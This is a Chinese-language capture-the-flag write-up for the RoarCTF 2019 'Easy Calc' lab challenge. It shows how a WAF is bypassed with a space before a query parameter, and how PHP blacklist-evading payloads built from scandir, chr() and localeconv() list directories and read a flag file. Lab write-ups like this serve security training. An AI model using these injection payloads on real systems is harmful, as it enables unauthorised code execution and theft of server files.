[RoarCTF 2019]Easy Calc
https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calc
https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calc启动靶机

查看一下页面源码,发现页面 /calc.php 以及WAF

查看一下 /calc.php 显示源码
发现除了waf 还设置了php黑名单

尝试 {{7*7}} 和 1;ls 都被waf 过滤了

绕过waf: 在?和num的中间添加“空格(%20)”或者“+”
[在绕过waf尝试时,制表符%09、换行符%0a、回车符%0d、注释/**/、特殊符号;,都无效。空格和加号成功 ]

由于黑名单主要过滤的空格和单双引号,我们没法使用常见函数命令如system等去执行。

黑名单中没有过滤"_"和"."等,可使用 无参数函数 / 无参数函数+魔术常量 查看当前文件所在目录
①?+num=print_r(scandir(__dir__))
②?+num=print_r(scandir(current(localeconv())))
*注意:当黑名单禁止使用点号
.时,可以用current(localeconv()这个组合来生成点号.
③?+num=print_r(scandir(chr(46)))
*注意:点号. 对应的ASCII值为46,斜杠/ 对应的ASCII值应为47
?+num=print_r(scandir(chr(47))) 查看根目录信息,发现文件 f1agg

f1agg 对应 chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
读取flag
方法① ?+num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
方法② ?+num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
方法③ ?+num=highlight_file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))






